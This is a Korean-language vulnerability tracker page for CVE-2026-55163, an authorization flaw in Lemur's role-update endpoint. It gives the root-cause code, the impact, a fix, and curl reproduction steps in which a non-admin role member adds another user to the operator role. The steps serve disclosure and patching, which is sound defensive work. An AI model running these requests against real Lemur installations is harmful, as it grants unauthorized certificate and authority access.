Kestrel
대시보드로 돌아가기
CVE-2026-55163MEDIUM· 6.3GHSA대응게시일: 2026. 06. 25.수정일: 2026. 06. 25.

Lemur Privilege Escalation: Non-admin role members can rewrite role membership via PUT /api/1/roles/<id>

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
6.3medium

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위불변
영향
기밀성 영향낮음
무결성 영향낮음
가용성 영향낮음
버전별 점수
CVSS 3.16.3MODERATE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

상세 설명

Summary

The PUT /api/1/roles/<id> handler in lemur/roles/views.py gates only on RoleMemberPermission(role_id).can(), which is satisfied for any user who is already a member of the target role. The handler then passes data["users"] and data["name"] directly to service.update(), permitting any role member to rewrite that role's membership list and name. The companion DELETE handler on the same resource is correctly gated by @admin_permission.require; the asymmetry between PUT and DELETE on identical resources indicates an authorization oversight rather than a deliberate design choice.

Root Cause

lemur/roles/views.py:298:

python
1permission = RoleMemberPermission(role_id)
2if permission.can():
3 return service.update(
4 role_id, data["name"], data.get("description"), data.get("users")
5 )
6return dict(message="You are not authorized to modify this role."), 403
7
8@admin_permission.require(http_exception=403)
9def delete(self, role_id):
10 ...

lemur/auth/permissions.py:56:

python
1class RoleMemberPermission(Permission):
2 def __init__(self, role_id):
3 needs = [RoleNeed("admin"), RoleMemberNeed(role_id)]
4 super().__init__(*needs)

flask_principal.Permission.allows() is OR-semantic across needs, so RoleMemberPermission(role_id).can() returns True if the caller is either an admin or a member of role_id. The PUT handler treats membership-of-self as sufficient to mutate the role; DELETE does not.

Affected Endpoints

MethodPathSource
PUT/api/1/roles/<id>lemur/roles/views.py:298

Impact

A user who is a member of role X can:

  • Add other users to role X, granting them whatever certificate/authority access role X confers. In installs that delegate certificate or authority ownership to non-admin roles, this promotes arbitrary users to peer of every other role member.
  • Remove other users from role X, denying their access (availability / governance impact).
  • Rename role X to an arbitrary string.
    The "rename to admin" path is blocked by the unique=True constraint on Role.name and by strict equality in User.is_admin, so direct self-promotion to admin via rename is not possible on default installs. The principal exploitation surface is membership rewriting and lateral promotion of colluders within roles the attacker already belongs to.

Remediation

Add @admin_permission.require(http_exception=403) to Roles.put, mirroring the existing decorator on Roles.delete:

python
1@admin_permission.require(http_exception=403)
2def put(self, role_id, data=None):
3 ...

If selective delegation is intended (role owners managing their own roles), that capability should be modeled with a dedicated permission class whose Needs reflect role ownership rather than membership, and the name field should be excluded from the mutable schema on that delegated path.

Steps to Reproduce

  1. Set up Lemur with default configuration. Create an admin user admin, and two non-admin users alice and bob. Add alice to the built-in operator role; leave bob with no roles or with read-only only.

  2. Authenticate as alice and capture the JWT:

    bash
    1curl -X POST https://lemur.local/api/1/auth/login \
    2 -H "Content-Type: application/json" \
    3 -d '{"username":"alice","password":"<alice_pw>"}'
  3. Confirm the initial state - bob is not a member of operator:

    bash
    1curl https://lemur.local/api/1/roles?filter=name;operator \
    2 -H "Authorization: Bearer <admin_jwt>"
    3# observe: alice present in users list, bob absent
  4. As alice, send a PUT that injects bob into the operator role:

    bash
    1curl -X PUT https://lemur.local/api/1/roles/<operator_role_id> \
    2 -H "Authorization: Bearer <alice_jwt>" \
    3 -H "Content-Type: application/json" \
    4 -d '{
    5 "name": "operator",
    6 "description": "modified by alice",
    7 "users": [{"id": <alice_id>}, {"id": <bob_id>}]
    8 }'
    9# observe: HTTP 200
  5. Confirm bob is now a member of operator:

    bash
    1curl https://lemur.local/api/1/roles?filter=name;operator \
    2 -H "Authorization: Bearer <admin_jwt>"
    3# observe: bob now present in users list

Step 4 succeeds despite alice not being an admin. The same handler also accepts a name field; substituting "name": "operator_v2" in step 4 renames the role, demonstrating the second variant of the bug.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.